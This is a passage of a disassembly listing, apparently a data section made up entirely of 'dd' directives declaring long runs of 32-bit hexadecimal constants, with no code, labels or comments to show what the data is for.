		dd 89CC61ADh, 43BD155h,	0DDA7799Dh, 930ABFF5h, 0B49C16AEh
		dd 0AB6A4D18h, 0AFF810AEh, 3AFE9BFAh, 56F42BCBh, 0F507D131h
		dd 0A2558941h, 346B599Ah, 592084ABh, 0A2C8FD32h, 981FD58h
		dd 30E70E0h, 0A65CC3A8h, 0F790E554h, 207B1A6Fh,	0B7990B55h
		dd 899C9D6Dh, 73A8FA4h,	0E5191163h, 9A2D6069h, 5FA7E6E9h
		dd 6579D4E2h, 421A7ECBh, 63F96DFAh, 7A334D72h, 0E0557C81h
		dd 1AB4A450h, 75772C90h, 0DF6E88FEh, 0DAA6619Dh, 1632216Bh
		dd 0C3A342E0h, 2C7BFB07h, 4E19538Fh, 0D5C98FCAh, 0DD256877h
		dd 0E6409184h, 9FBBC89h, 74123EC4h, 0EF405555h,	0B8A43E89h
		dd 192D82C1h, 0D9D4055Ah, 37AC14A8h, 5F2DAB49h,	8E011C6Ch
		dd 0FDB4330Ch, 18B32E7Dh, 0E52E7E4Ah, 0D3E4DCEDh, 338C1CCFh
		dd 996032E7h, 634E6C61h, 0A9F1877Ch, 5FA028C0h,	0EE830490h
		dd 0FD1C7F8Dh, 5AB6C7C0h, 7208B06Fh, 7115597Ch,	36D36B1Dh
		dd 40ED1736h, 501EF3C4h, 1DF2F29Dh, 0D7C5D12Bh,	0A4332329h
		dd 7D0C3717h, 52FBC0DCh, 0EB9D4AD8h, 24016CB2h,	0AF51956Bh
		dd 20E97AFEh, 7B6584AAh, 8C9E6474h, 3F6C375Eh, 0F41BAF84h
		dd 0BF39BF77h, 6F71F509h, 0F07E8CC8h, 0A1C00E1Dh, 13EF34ECh
		dd 0A01EEADDh, 60571799h, 0E2C6C51h, 6A993CEFh,	42243BF8h
		dd 0A3EC93F3h, 61AABE8Ch, 0FC070C61h, 3B4449AFh, 0ABA6EE62h
		dd 0EDFBD2CFh, 0DDB174CBh, 1E426D87h, 4388AE2Dh, 3AAA2A9Dh
		dd 3442690Fh, 0ACD2DA0Fh, 7725D608h, 0B1484DDBh, 0CA8EA564h
		dd 7BEEB545h, 7B1220A8h, 0AD8D5B5Ah, 535935BAh,	9AD5BDD4h
		dd 0CE20552h, 0EB891E81h, 0C24BD5BFh, 0E052D286h, 2D3F05CDh
		dd 7B6E353Eh, 8667CBBEh, 4B4D5A50h, 4B86C9ABh, 8DA5062Fh
		dd 4D0E7CDCh, 0A1A1D4B2h, 98772BD0h, 0AC528449h, 20762DD0h
		dd 3A41C768h, 3B3856CCh, 1ABA8587h, 9914F048h, 4DE53F14h
		dd 0CD887DD3h, 0D967A445h, 1BDED2EEh, 18F2D5A6h, 564FBC5Ah
		dd 82BF039Ch, 0EF794FEAh, 0B68B7C8Fh, 0D504EDD2h, 376B75D1h
		dd 40A086B1h, 6202E54h,	0A07370Ch, 89957947h, 4F61EFB5h
		dd 73596141h, 0F43A31B4h, 0C7F9603h, 85B6B867h,	3C307E5Eh
		dd 0FFFB5A7Eh, 0CE8F449Dh, 578253F0h, 0FE2E91Bh, 0DAA403B3h
		dd 73A9B3F6h, 700E8C54h, 5F4959C8h, 514ACC7Ah, 0BDFAE77Ch
		dd 3D508118h, 4DB5A504h, 8D7648A8h, 0C027DB71h,	743D7A16h
		dd 0C62E64FAh, 7A2F4741h, 8D5E9BF2h, 363FECDBh,	3C224721h
		dd 70C9E5D5h, 7FA05AEBh, 6ABD3EAFh, 9D19CDADh, 1D781D5Ah
		dd 0CA901270h, 5E6F5D6Ch, 71011468h, 0BFDFD694h, 0A5C164FEh
		dd 0D714809Dh, 0D60C2423h, 0FD147842h, 0DA432CE3h, 0F9EC004Eh
		dd 573ADFC5h, 99736A95h, 62855F21h, 80411492h, 6B6C33C1h
		dd 7726458h, 0FDD1C8DBh, 8D775351h, 1DE9636Dh, 0C9DFF752h
		dd 1810324Bh, 87074DDBh, 35F08F27h, 0C87CFE4Eh,	85561849h
		dd 0AF7E05CAh, 0F00065C2h, 0D3895BEAh, 7262494Bh, 84CD8FB8h
		dd 3F3F0E92h, 0C165C75Ch, 61E524CBh, 0FDD8BF2Ah, 46441D14h
		dd 9A93AF78h, 0F54E1C4Bh, 0C417868h, 42EB23DDh,	0E4A4358Eh
		dd 8E360D30h, 77D93115h, 8C1C3D07h, 1F07FA6h, 0C1A9347Ah
		dd 670DC693h, 7732D029h, 2AF7C0DEh, 616B4778h, 8E360D12h
		dd 0FCAB7945h, 0DC869AAEh, 0CC48B2A5h, 632BFE03h, 0AABEB48Dh
		dd 1A2B42F7h, 7C375A93h, 0A82A3A98h, 0E68F0E12h, 0F5E96987h
		dd 0A4DE7380h, 26B4818Bh, 91B63391h, 9984F2B7h,	43891F4Ch
		dd 8E8A1290h, 4013590Eh, 934D4FB6h, 0CA67FDFEh,	0F52E6A4Fh
		dd 0A5D8CA28h, 6ED0E24Ch, 0A06721ADh, 881340D1h, 0EA3C8276h
		dd 91E43585h, 47EE8D8Dh, 717D343Ah, 0AD9E56FBh,	0F822CDE2h
		dd 39E97CD0h, 2E885110h, 4B773965h, 40030EA4h, 0B133FDF1h
		dd 785812AFh, 64F91FF7h, 0ABFAB406h, 2A74F996h,	50E3C26Ah
		dd 0F05A6FDAh, 0D161D863h, 5C179B99h, 7E377D27h, 48FA660Bh
		dd 0FBE921DEh, 0CD7FB666h, 0E68E347Fh, 16BB3C3Eh, 32F91FBFh
		dd 0F61F8F8Ah, 8745E65Bh, 52382D90h, 8BE61A62h,	29CC74D6h
		dd 13526ACBh, 2F133985h, 1B0D02BFh, 3AA5DF22h, 0E72228A5h
		dd 6CAFAFB1h, 641865A6h, 0AE48E6BFh, 0B9BA14E4h, 0F5C90DDh
		dd 0E17BB868h, 7B8EC27Eh, 9FEAE906h, 0B92ADA05h, 0F83A8649h
		dd 996C21F2h, 0C99C49C0h, 2367EBE2h, 9390D52Ch,	0BE17FCEDh
		dd 54DEDC04h, 0E983855h, 13288857h, 84DC56F8h, 0F0CF37E2h
		dd 0CD95A89Dh, 0A04F491Fh, 0DEEB2046h, 9893812Dh, 0A21D6ED1h
		dd 0B5F0BC20h, 1D7F736Fh, 49888D57h, 0C8408FFEh, 616B7397h
		dd 68A074A9h, 37A0B85Ah, 746D1662h, 19E9FFC5h, 0AF103866h
		dd 0C518590Dh, 6CCEB7BDh, 85ED12C6h, 0A21D7E37h, 0FC82BD28h
		dd 0B34F927Eh, 0E9A89C4h, 7E37240Eh, 2087D09Ch,	0B12E4C5Fh
		dd 489778A7h, 0A77B8ACh, 5E4B50A7h, 0BD486716h,	6947B7E3h
		dd 7DE1DA8Bh, 0AA4BA0CEh, 12334804h, 0B3A842DAh, 0B2330B60h
		dd 36CC30D5h, 0ACCC27ABh, 2FD21295h, 0DA389CD3h, 8A7B8E20h
		dd 2F7F472h, 17C3F699h,	0B52E792Bh, 0A8264E41h,	0DF993BCDh
		dd 63C74FB0h, 0E393389Dh, 55961284h, 0E15B751Dh, 0CDAE9C82h
		dd 0F4F4BFDBh, 6F61F89Ah, 2CAAB549h, 24BBC295h,	23871850h
		dd 74AA6D6h, 0C78D9E6Ch, 4FFD08D4h, 0F9ABA037h,	4F5FB56Dh
		dd 8F20535Eh, 0EAC47D9Ch, 142CC553h, 0F4901446h, 0BF8DEE73h
		dd 45043178h, 0E17B643Ch, 1F4656F4h, 59FB2ECBh,	0F666D658h
		dd 7010E191h, 652CD5EBh, 0C6E1AEF1h, 28BB8A27h,	0D569180Eh
		dd 0FADF6952h, 0C6A687AAh, 0EC375B5Ah, 6DB9B48Ah, 0DB797B84h
		dd 5DAB650h, 480F4F1h, 0F42C108Bh, 0A9F10DFFh, 4A12D8F5h
		dd 0AEBEBD5Dh, 9B5FAA89h, 71B2A209h, 0C0AEEB31h, 8E170DE8h
		dd 1D94292Ch, 0E33613AFh, 67127E7Ch, 0C71CFB92h, 0A217A3EEh
		dd 0C8602B72h, 0A784CFB1h, 7BB2FDA8h, 0CB2A05E6h, 28763894h
		dd 0B08D1038h, 0E7D94354h, 3BAED4AEh, 0CC8CB0D8h, 553B610Eh
		dd 0A87C92C4h, 0E15914FCh, 88DF5BBEh, 0B44D26E9h, 8BB78E5Eh
		dd 3F708005h, 794AF837h, 985C74F3h, 1451B650h, 979BC9D6h
		dd 0FBA896FEh, 0A0972789h, 3403F1FEh, 7B40FE3Ch, 0F06DECEAh
		dd 56DF59B6h, 25EE4CA0h, 51133DF0h, 6EDFD2B4h, 95FCB2D7h
		dd 0A510AB10h, 0ED633995h, 381B1339h, 85429DF4h, 12E24F97h
		dd 2E36C1B2h, 0D3988DE6h, 21E09FE5h, 0CBCFFC83h, 96A92E3Ch
		dd 5C0E1D6Ah, 0E2586499h, 2858EB25h, 9689F35Eh,	0FA6201DAh
		dd 1DCE714h, 5D32D706h,	0FBB1D056h, 0D5C38C4Ch,	0FFA50675h
		dd 39932B25h, 0B2A2BC7Bh
		dd 643BA4A6h, 0E3385F3Fh, 4F49FEACh, 9768029Bh,	0FD35C2E1h
		dd 0B583E4C1h, 44947719h, 666B57A1h, 4B3FB8D3h,	2B699D0Bh
		dd 5B3CFBFAh, 9CA253C8h, 0E1CF28DFh, 76E75097h,	0D4BB9C68h
		dd 0E1A222D8h, 6260315Fh, 0C1ECF427h, 2D64B070h, 0D460D4A7h
		dd 0C3788FADh, 49A70EA6h, 99F7B4Ch, 58AD4B70h, 0B3755669h
		dd 91CBA25Fh, 766D732Ch, 7C2D2567h, 8576F9C0h, 46D64E76h
		dd 4A1F7FA9h, 872BCEF8h, 2F642B7Eh, 0BACDBBEDh,	6E6422BFh
		dd 0BC43B31Fh, 0FFD6BF50h, 207E7137h, 86F0311Ah, 0C4CD2C45h
		dd 98F2C4A5h, 4C5CD42Dh, 0F1DF0EC6h, 0BD073592h, 0A0AA0954h
		dd 72C8636Fh, 0D6A69D80h, 0D7A62DB8h, 54E7C21Ah, 6F9C975Eh
		dd 22EE9570h, 233056F4h, 0F31E8213h, 0A6185910h, 0C689171Bh
		dd 0D2FBF6EDh, 35DFAED1h, 0DF2AE67h, 41A1F921h,	0D766B316h
		dd 1FBC3FF1h, 653AF341h, 3928A3F6h, 2F9E250Ah, 0FB0F21EFh
		dd 0FE9401F3h, 52595F63h, 82509CC1h, 7B267663h,	4AA2F8FBh
		dd 560201D0h, 22E304F4h, 7649C6D9h, 0C6BDE7C8h,	85231B42h
		dd 0FFC3147Ch, 12383B4h, 20E78BD8h, 9CB5E50Ah, 3BA20821h
		dd 2FA3F792h, 1C75699Ch, 0E2F109ABh, 0AB13C0BEh, 0D57E22C8h
		dd 0A9663044h, 3993A2CEh, 0CCFA2A8Bh, 0E6EBD1DAh, 0A6DD627h
		dd 0AE1FD12Bh, 0DDD4942Dh, 7EDBACE7h, 4CD49875h, 0D2BA5720h
		dd 487675E8h, 0B0719DC0h, 0EAE0BC80h, 7C6A24BAh, 0A48F194Ch
		dd 79A980D1h, 0F7DF3866h, 9DA8B995h, 0C4B14BFFh, 68E68413h
		dd 5AF8D104h, 0E556C81Fh, 53C540DAh, 0FE1BC007h, 0B85F63A7h
		dd 6A156FFh, 0C8823F40h, 0BEE20132h, 6C912727h,	0C1044D8Bh
		dd 0DE26F070h, 0FD95EC2Ch, 0B1F05BB1h, 921DF470h, 52DCFD5Eh
		dd 0F31E62B4h, 6EFADADDh, 4EAF19A0h, 0EB8C0FE9h, 736C3AFh
		dd 753F7BDFh, 0E112AA7Ah, 0A01D15D3h, 8B24CF0Eh, 0C917DEC5h
		dd 87AF1BBCh, 1E569870h, 71B420D6h, 0F63A6DF2h,	42DCEC89h
		dd 8F959C71h, 2BE1B41Bh, 417DEB93h, 253DEBBAh, 0F415D921h
		dd 0C6F52369h, 3F9F5E2Eh, 561F4DF9h, 94B30C39h,	0A517369Ch
		dd 5C4F2893h, 93CB6E53h, 3E72C270h, 16BE40C3h, 681C9ADBh
		dd 0E6A7A5B4h, 0C88C4512h, 45D82561h, 0D59812AAh, 3D70C018h
		dd 94B2F06Eh, 0BD65EBA8h, 3D57AE8Eh, 1B39104Bh,	760C7070h
		dd 0DE86133Fh, 0FDD5848h, 0C70FA992h, 0D7B7D4D3h, 41A783C9h
		dd 52E3763Ch, 0ED19C83Fh, 0BBDB0718h, 0AFA84423h, 0D0641CFEh
		dd 7FC1A97Ch, 0AF13F0D7h, 0A18FF852h, 3A189806h, 4FA82099h
		dd 42E3A12h, 6AC01294h,	0E925CE1Ah, 1DE38B11h, 824706F4h
		dd 0BE120C46h, 49318804h, 2CFE01AEh, 3BBDFC50h,	3CF66A0Bh
		dd 0CA04A621h, 9652DCD8h, 43474AB5h, 0A9C82424h, 0E2F672F0h
		dd 0E78F6D2Bh, 3CB893D4h, 45E7F6E8h, 0FBE50305h, 839F67DCh
		dd 6EB38660h, 7138B1FAh, 0BF5AF5DBh, 0A3358C0Fh, 74BD571Ch
		dd 89CEF666h, 4BB2E800h, 460EBE3Fh, 7324388h, 0A9E5D387h
		dd 0D93396ADh, 0D70BFFCCh, 0E5DA73E4h, 55B22ADCh, 9D0CE3AAh
		dd 0F30D5D9Bh, 0C0E3A522h, 43DF0233h, 85A72BF6h, 0B15FC3FAh
		dd 4F7FA061h, 0E7965B0Eh, 37D92073h, 0C8556D09h, 9F854934h
		dd 3F265670h, 0C334598Eh, 1A29E20Fh, 9A888595h,	0EDA0047Eh
		dd 0BD0AA4CCh, 2B0FD591h, 0D85FB9F6h, 26721F45h, 92F8BFB9h
		dd 0CF8AB901h, 40E5AF52h, 9F5751ADh, 952FBC8Eh,	0CAF09D30h
		dd 31EBC5DBh, 2335583h,	0E088D925h, 4524D612h, 2A7F568Dh
		dd 869A83B2h, 0CE1D258h, 4CC4079Fh, 0D69DCA34h,	4C9E05CAh
		dd 0FCF15101h, 2D54A3BEh, 8337FCA0h, 397A2A62h,	61E8484Ah
		dd 0D3542CF1h, 22B2F59Fh, 0A935902Ch, 90053F1Ah, 0B69FD4Eh
		dd 0CA4931Ch, 322B077Eh, 0B33EECF1h, 0AF9DD18h,	99448013h
		dd 0BC51F02Bh, 8373D87Eh, 819E621Bh, 355DD76h, 81FC86h
		dd 0CC870E3Dh, 0F6FC8609h, 14C99188h, 1A2AA2E7h, 98793735h
		dd 2E875AACh, 0ACE73D3Bh, 0C6F17DB3h, 0C5FB3BCh, 8A7DFE1Bh
		dd 50433256h, 0AC8ED6A4h, 66BBEDE4h, 0AF5DF3AAh, 0C0804D1Bh
		dd 525388F9h, 9C631E88h, 2C9F7FD4h, 2A167F5Ch, 3CB5B0CEh
		dd 43D9A1CBh, 0A16C97B2h, 0F67DA048h, 0CBC17DDh, 6D390442h
		dd 35D9845Eh, 0F22757BFh, 0DC375930h, 420D3BB8h, 0CCDDB1F3h
		dd 0B86258D5h, 91104D20h, 5C2957DFh, 0DE28187Dh, 886ADDCBh
		dd 8D78552h, 1BBA68B8h,	0C7F822F2h, 0FE0C0115h,	818C079Fh
		dd 8E4D9A80h, 0CAA2507Ch, 0BDF6084Bh, 4760A7Ch,	86974400h
		dd 3D6665BCh, 0D2BFBCB1h, 64787636h, 0E117BB39h, 0DBD51862h
		dd 0B7679639h, 6D3FBEB1h, 0BD7476A4h, 0B9EDA4FBh, 64CEAA5Dh
		dd 7E1B5F15h, 0FC81EABDh, 0C29A661Ch, 0CC566BFCh, 29B33EFCh
		dd 40B0EB15h, 43A88A75h, 258CD111h, 0D4C7FF0Fh,	833CE049h
		dd 8807DBB6h, 474158CCh, 31F280E1h, 0DB54EF40h,	0DF47D391h
		dd 3FCF7AE5h, 0B631FC96h, 0B84F4A13h, 0E0CCBB72h, 55D7285Bh
		dd 34224178h, 6A512AD5h, 1AF8DF0Fh, 0B30B7668h,	63D3D0B3h
		dd 0BD18291Fh, 0BD364C6Fh, 0D410A1BBh, 0B5EED8E9h, 770241AAh
		dd 0D1C61FA2h, 5BB079E9h, 967C1289h, 8CC280C3h,	92DAD5EEh
		dd 0D6E2FFEBh, 0A3F98396h, 5CF394EDh, 544792BDh, 828D5F66h
		dd 19B0F13Ch, 9C0EB7F3h, 710C8A09h, 0C33EDC29h,	0AEA0A491h
		dd 47FC5EBh, 4E9DE6FFh,	9E319029h, 899D8D5h, 39C16C1h
		dd 0C3C7A0AEh, 50678703h, 0FDC07DA1h, 0C4C0D080h, 54C37FB4h
		dd 43D5FC7Dh, 0FE896839h, 0CC026EACh, 7E5C2528h, 0F462A670h
		dd 6817C8A7h, 0ADFD232Dh, 5E6BE377h, 2E5C0757h,	5A0AFA2h
		dd 6511EBB1h, 0D4EF647Dh, 13BD8072h, 9112DA91h,	0FC97211h
		dd 7D8A5326h, 6211E319h, 0B8B7FF0Fh, 0B97509DBh, 3DE22B9h
		dd 784B66F9h, 6EA72D56h, 82C4AA0Bh, 0DAB286A8h,	0AEDAFE6Dh
		dd 0E03D019Eh, 5C4E2C2Dh, 0DB3CDF64h, 10BAA8ECh, 266ACD0Ah
		dd 86EBCB3h, 8B69C3DCh,	7081D648h, 94D46DB1h, 5A63B82Fh
		dd 0BF1417DFh, 0A3C03FB5h, 0C2640072h, 0FB50143Ah, 0F68E17ADh
		dd 98163413h, 15090589h, 0B5525B08h, 3C6B58D6h,	0A8668C4Fh
		dd 20416168h, 9164D675h, 0B623D0F3h, 0DDD888A2h, 309A3DA6h
		dd 5F60AB4Ah, 0DC4A3F1Ch, 0E7E7D4D2h, 0EAAEEBEDh, 2CE70AA3h
		dd 0D7E3F499h, 0E1F67273h, 91E65994h, 1DDD4157h, 0C5662358h
		dd 5F1703ADh, 0FBF9F6ABh, 0B16456F4h, 2D5E1E27h, 0D2B9FC06h
		dd 3CF46B7Eh, 4A09DB9Ch, 615D7CD3h, 0EC628CF0h,	1237FBA1h
		dd 0F5F94EA7h, 0B76D94FEh, 0FDEBFDCh, 4064F2ABh, 0DC57EBFAh
		dd 1BB9675Ch, 71B580E3h, 0F50E31DAh, 0ECD0B8Eh,	40E28A44h
		dd 6413D41Fh, 8FD87F02h, 3A42D88h, 45163BB5h, 0E7492F7Fh
		dd 0B7A568E0h, 2F72A7CBh, 0DB48C4AAh, 3EBCEDE4h, 2BB3E59Fh
		dd 0D20F1E4Ch, 3D4C905Bh, 0D323BB2Eh, 3DF34A68h, 526B6CD7h
		dd 0FCDCA514h, 4DFAC68Dh, 0E357D1B5h, 0B5D9A93Fh, 8E756660h
		dd 7BD6805Bh, 0C97DF10Ah, 2856498Ch, 283F1655h,	0D075FC17h
		dd 0BFAF5100h, 127D9B89h, 0FC8A7F77h, 0A23F0CD0h, 2B417BE1h
		dd 0D1EFAC89h, 0DF71B8C5h, 0BBD86FDFh, 907C04A2h, 1C1677F8h
		dd 5ABD289Dh, 0F8E5A5CBh, 0A80F2C5Ah, 3059856Ch, 44E3779Bh
		dd 0FEF7964Ch, 0B9979EBh, 0C21C4C66h, 25463B68h, 4F270F95h
		dd 0E3F1F0AFh, 0CD6857F2h, 235C1EA6h, 55BAFDC6h, 7F77EB1Eh
		dd 6BC99B8Ch, 517D5CDBh, 0E452BCECh, 163FF3A3h,	0F7F54AB8h
		dd 366F96FFh, 0CF5DBCDCh
		dd 203B712Bh, 0CC37ABBAh, 63A9477Ch, 7DADB0D3h,	0F30A39E2h
		dd 0DCB0F8Ah, 41638846h, 64D3571Ch, 0FF8B881h, 0C354CDCBh
		dd 0A51E0B96h, 17B51740h, 3FA79499h, 0EB0DB9CFh, 0B94945A8h
		dd 11BCAD67h, 0DC33C558h, 59CF0EADh, 0FB6C984Bh, 0B013BF26h
		dd 0C7B4864h, 5AA76BD9h, 0F8FEA495h, 0C809C6CDh, 0FC955195h
		dd 0C8C4F94Fh, 0C2791678h, 5F37805Fh, 0AA686908h, 247068E5h
		dd 0C04E9D54h, 7C968663h, 0B18120E9h, 4AEB3FAEh, 97F54E39h
		dd 0CF6BCB8Bh, 5F24183Bh, 0FCCF8AB4h, 0AA83BCE9h, 0D26C9FCFh
		dd 5C73ACD4h, 10271533h, 34FC08C3h, 87A990ADh, 542D64E4h
		dd 153BF11Ch, 48CCD8FBh, 0FB84D6C8h, 6A6DEC4Bh,	57C3B68h
		dd 476B7E37h, 0B4563E9h, 0BD4796B2h, 0CB2C52DEh, 4AEA4B60h
		dd 0A18BC7D7h, 0C7781951h, 73283E0Eh, 654CC8E3h, 0D6DA89C8h
		dd 59E018ADh, 81ACE5F2h, 8F7FBA90h, 84AA68FCh, 6E830AABh
		dd 0DE33535Dh, 0BBCEFF5h, 2DD7B8AFh, 9236A70Fh,	51A2B529h
		dd 4DEE855Ch, 16E18861h, 0FD7DAFECh, 89EAFF79h,	0EB097950h
		dd 73327B4Fh, 0E7D7FF60h, 941BD764h, 0B563AED1h, 64DC08F1h
		dd 0A4D78570h, 0B7EE96E2h, 0DBAD24DEh, 0FC73FE52h, 9626CA06h
		dd 0E3D106D8h, 6196DB7Bh, 0A861B57Fh, 0D838F092h, 0A6C848ABh
		dd 0E3F72D9Eh, 19F78E2Ch, 0AEF9157Dh, 9E975A2h,	0C3E816Dh
		dd 33C1E47Ch, 9A8F3460h, 0DCF9E86Bh, 43ECDD59h,	0E077EED0h
		dd 5966B374h, 0CE8DB590h, 0B7508185h, 0B578CB84h, 891AAB9Eh
		dd 0EB9931FCh, 720E3F4Dh, 0E6BAD063h, 3DDB4F4Eh, 11F2B94Fh
		dd 0FED76B9h, 0ACE67D93h, 22EF9B67h, 0B5A0B721h, 0C4024124h
		dd 0EB2F79F2h, 0EC0988B0h, 0F842F19Eh, 6FDBBECBh, 0F18CBB22h
		dd 0D461AEB8h, 7BE878CCh, 40E989D6h, 0B2FDCDA7h, 73EB21BAh
		dd 97A4DC4Dh, 156AA54Ah, 13B27766h, 85B26831h, 0CF79D140h
		dd 40BD95D5h, 37CCA545h, 0C572B814h, 0C5868E61h, 0D164AA6Eh
		dd 0EC249168h, 0FA6CA7EAh, 0F3A0A6A4h, 0FD0F7F62h, 783F3E3Bh
		dd 0F7EBB05Dh, 0A8FDFC71h, 0EEFC2FE3h, 54F84F9Ah, 90F6F677h
		dd 44E29CEAh, 66A173DEh, 5B46D977h, 0EA5EF60h, 178398ADh
		dd 0F8E38EDEh, 676A8F18h, 677E84B4h, 898C4E8Ch,	0F20540EDh
		dd 5458E823h, 0ADCA9079h, 4BE2A762h, 0C2D8A678h, 0F56CBB44h
		dd 7EB75110h, 27C6F443h, 0D6C77339h, 0DD67DE8Bh, 642AD4BDh
		dd 6DCAB851h, 4A90B38h,	72FDCBD7h, 4B3D8E9Ch, 1DB415F0h
		dd 19A63EF5h, 0ADF4D427h, 99300A69h, 98AFEF2Dh,	87AFDF25h
		dd 0CB6824E0h, 75279D58h, 8EC7995Eh, 908EA29h, 0BB25B1F8h
		dd 0C782B7A1h, 0A6DC8CDFh, 0EAE99421h, 0F2D83C53h, 0F863F490h
		dd 17E86AA8h, 486B9E1Dh, 0BBA4C877h, 7F97A2D1h,	9FF0D009h
		dd 0BFB18C5Eh, 24AF7781h, 0B4E61759h, 0F365CB76h, 0CCE079E6h
		dd 0E8D45BA8h, 0FE30619Bh, 0F6B88368h, 94816C6Dh, 9183113h
		dd 0F973365Bh, 0DB9082A4h, 0CF9886FAh, 70EE22F8h, 52F4EABFh
		dd 44A89449h, 0EB8CA32h, 1862985Eh, 0F6A70B98h,	5385ADB3h
		dd 0D1F398C4h, 79719812h, 7F200E0Bh, 110685B8h,	15C5906Fh
		dd 6A4D17FEh, 21224315h, 8F888CDFh, 0F687616Eh,	637EF667h
		dd 0B0537413h, 46C5F891h, 10D3DC77h, 0A36CBD92h, 5AAE4384h
		dd 20C7F5FEh, 28E19056h, 18252D9Fh, 3725EA5Eh, 0A86D42Fh
		dd 76F0944h, 8FACD8EBh,	2CD3D2B8h, 3BA2995h, 77D77F43h
		dd 0AD61D8FFh, 44384615h, 9057A027h, 0D3C61F6Ah, 0C646FAE9h
		dd 606C995Bh, 97DCFE52h, 851DBE63h, 7F4A55B7h, 0A80C6CB4h
		dd 86D5EC95h, 0D89EC281h, 0F8F927B3h, 0EF3EF1F0h, 49AC23A9h
		dd 679EC34Fh, 0D81B8792h, 7BAC240Ch, 978B543Ch,	41E5291Bh
		dd 0ABED1FE8h, 0A08FB621h, 0E26FC848h, 0DC9EFFB5h, 52D307A6h
		dd 44F4B02h, 90BA89C7h,	0CC0A789Ch, 11BD6F0Dh, 803A5531h
		dd 0CAE19DF0h, 0C58A9163h, 696069A3h, 0B671B0D8h, 4CCEE9DEh
		dd 2B963D54h, 944F05Eh,	87B3369Dh, 7196A8F3h, 56F990E4h
		dd 8B6B185Dh, 4DB6553Dh, 51251BFh, 152280EFh, 586405A3h
		dd 37B44860h, 8C9D957Dh, 0E26D6A76h, 4C92BBE0h,	0A65CB33Ch
		dd 5D3838AAh, 0C19CFD97h, 3F1847CFh, 75CF38D8h,	2C2E7DCh
		dd 1BC17749h, 0D75C5CBDh, 0CBE7388Ch, 6990CEE5h, 30A95430h
		dd 8871F8C2h, 3DA4CBA6h, 3F7209C8h, 6A725E6h, 99DDD792h
		dd 0CAE65039h, 6256EE02h, 0A9209F72h, 9322A5FBh, 0E004B4Bh
		dd 9BC6F544h, 626FD374h, 0A1C8FDFh, 0ACB31F87h,	0A31F0798h
		dd 0D7BDCE52h, 0FB1217DBh, 0EC61FDDAh, 67ED089Ch, 3B17C360h
		dd 8E3AC65Dh, 714AB760h, 0A7A81E1Ah, 0DA824738h, 8EF312F6h
		dd 0F2FAE412h, 0AC77CE1Dh, 0F9A620F5h, 89D2D9A9h, 6D633EA6h
		dd 9B9463E2h, 0BE967BBDh, 56D16333h, 0BEEB6C0Fh, 0C8E1AEB7h
		dd 0C4E8A0D2h, 7CEE7130h, 4E64CACBh, 8B2ED3A3h,	5CB4EA44h
		dd 22151A55h, 8FBC73A4h, 59984CC1h, 0E29685C4h,	0F14A8457h
		dd 376D821Fh, 22C57EE0h, 44052564h, 1229177Eh, 37D94155h
		dd 0EE86DF3Fh, 0F1AA5E10h, 63FCFE41h, 0E728569Eh, 4B2669CCh
		dd 0ACD56D2h, 344657C0h, 0DAF1A99h, 568CE2B5h, 69BAD55Fh
		dd 6A01EE88h, 0DADC390Ch, 2F86FCA9h, 2B6F794Ah,	8336D51Eh
		dd 3D968ABEh, 554D46E6h, 36F4116Eh, 0E2958A06h,	12A31DFFh
		dd 424DB450h, 0D67C5C25h, 8A0F50B5h, 60320F7Dh,	92ED9573h
		dd 0C2089D36h, 0E12E8398h, 6D0626B6h, 0AC420C85h, 0C852E5A1h
		dd 0D08A2C37h, 0F403F010h, 5FB20AACh, 33A8DA4Ah, 0B4F2DC47h
		dd 727F0A07h, 0BEB1D313h, 35822437h, 21E3FFD5h,	0EF60B33h
		dd 806BE51Dh, 0F2B2AA87h, 0E1A1B9BAh, 17752B0Ch, 0B8A9720Eh
		dd 0AC0550CDh, 610113A5h, 9CFC4EFAh, 0CEC1BD9Bh, 0DEE1896Ah
		dd 64E36C4Eh, 0EF6FF1C9h, 0F91FCE99h, 709639B6h, 9C034943h
		dd 4BAA54F9h, 0B09847EBh, 0DFFEC9C0h, 0EC6F8340h, 76E8810Ch
		dd 329570B5h, 1A6669ECh, 6BF8173Eh, 3305443Ch, 81BFDA56h
		dd 0E4967B9Ch, 75E0BB7Ch, 0AB6D91D5h, 402CB8DCh, 0DFD47393h
		dd 0E35EEED3h, 0F0AF629Eh, 66C2B3A8h, 36FD8C58h, 1C7BEE90h
		dd 0E9D42CB1h, 2E91F363h, 2F9B60A3h, 94B8C097h,	27E5D8F7h
		dd 2623A3h, 1AE53E78h, 0AD81CD62h, 0D7E205DEh, 0D078F013h
		dd 754BDF77h, 0B65424E5h, 49533B2Ah, 0B9C1DB50h, 0C44EC673h
		dd 0C34BC9FCh, 6D9822B0h, 89CD0D83h, 0C875C753h, 0C0AF216Bh
		dd 0C246FF11h, 55A734F9h, 47F9D330h, 0F9B48810h, 383EE521h
		dd 0D0E5D057h, 95C74976h, 2EB1BDB0h, 40946061h,	0FC6DB664h
		dd 0F4A59EF4h, 91D2AAA6h, 61763D99h, 0D6E83F27h, 0D8CA0880h
		dd 26461AEh, 0B8B86DB1h, 0DBCA97B7h, 8AFEC93Ah,	7FEA667Dh
		dd 1276FAD6h, 6A4894D1h, 0BA96B983h, 641D814Ch,	0CDBC9692h
		dd 75DC24FAh, 56F37FC3h, 344AA833h, 0FD36CA44h,	6F5228AFh
		dd 21117A64h, 468605E3h, 7CA067F1h, 0B94FA93Fh,	0C48E2CDAh
		dd 42E6C95Ch, 0E2A95FEFh, 2F03B2CFh, 101361AEh,	9D72C783h
		dd 0B56699A3h, 45FA84DAh, 252EB916h, 310AD7BEh,	0AC81850Ch
		dd 21A8180Dh, 222507D1h, 83BC34ADh, 3D23F80Ah, 0A772CA4h
		dd 7F593353h, 99F7EB3Ch, 60EE0539h, 907BA1F3h, 5228141Fh
		dd 0A603F2F4h, 0B3790D11h, 0B4F91E7Ah, 0ED59C825h, 0DB25A6E3h
		dd 0E00A22F4h, 7CD90494h, 893286C5h, 0D9AD61B4h, 8D9BFD77h
		dd 10BF4686h, 76C9E408h, 0B4E0DB0Ch, 7EE82C67h,	9A6445A8h
		dd 50B5EA32h, 9E298DF4h
		dd 7391F232h, 0ECC2393Bh, 0C38F66C6h, 0D9309EA0h, 70708806h
		dd 0BAA60AACh, 0B004B848h, 32B66781h, 87AB4119h, 0FF15DA35h
		dd 0CBF7CEBFh, 78866071h, 0D56CFC51h, 2A57DDDDh, 0E3B719ADh
		dd 4E11C472h, 35B1B786h, 7A9267F1h, 33F77F8Eh, 4D7C9A58h
		dd 4796E875h, 0B446618Ch, 6EE6CE3h, 56F21BE9h, 448279C6h
		dd 8578926Fh, 0F3BD7F9Ch, 62C8F274h, 0CC3BD186h, 79981FBBh
